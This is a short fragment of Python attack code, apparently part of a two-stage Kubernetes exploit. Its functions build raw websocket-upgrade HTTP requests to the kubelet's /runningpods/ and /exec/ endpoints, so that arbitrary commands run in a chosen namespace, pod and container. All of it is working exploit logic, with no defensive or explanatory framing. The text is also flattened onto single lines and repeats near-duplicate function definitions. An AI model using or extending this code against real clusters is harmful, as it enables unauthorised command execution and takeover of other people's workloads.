def request_stage_2(target): stage_2 = "" with open('stage_2', 'r') as stage_2_fd: stage_2 = stage_2_fd.read() key = base64.b64encode(token_bytes(20)).decode('utf-8') return stage_2.format(target, key).encode('utf-8')
def request_stage_2(target, namespace, pod, container, command): stage_2 = "" command = f"command={'&command='.join(command.split(' '))}" with open('stage_2', 'r') as stage_2_fd: stage_2 = stage_2_fd.read() key = base64.b64encode(token_bytes(20)).decode('utf-8') return stage_2.format(namespace, pod, container, command, target, key).encode('utf-8')
def request_stage2_pods(target): stage2 = "GET /runningpods/ HTTP/1.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nHost: {0}\r\nOrigin: http://{0}\r\nSec-WebSocket-Key: {1}\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n\r\n" key = base64.b64encode(token_bytes(20)).decode('utf-8') return stage2.format(target, key).encode('utf-8')
def request_stage2(namespace, pod, container, command, target): stage2 = "GET /exec/{0}/{1}/{2}?{3}&input=1&output=1&tty=0 HTTP/1.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nHost: {4}\r\nOrigin: http://{4}\r\nSec-WebSocket-Key: {5}\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Protocol: v4.channel.k8s.io\r\n\r\n\r\n" command = f"command={'&command='.join(command.split(' '))}" key = base64.b64encode(token_bytes(20)).decode('utf-8') return stage2.format(namespace, pod, container, command, target, key).encode('utf-8')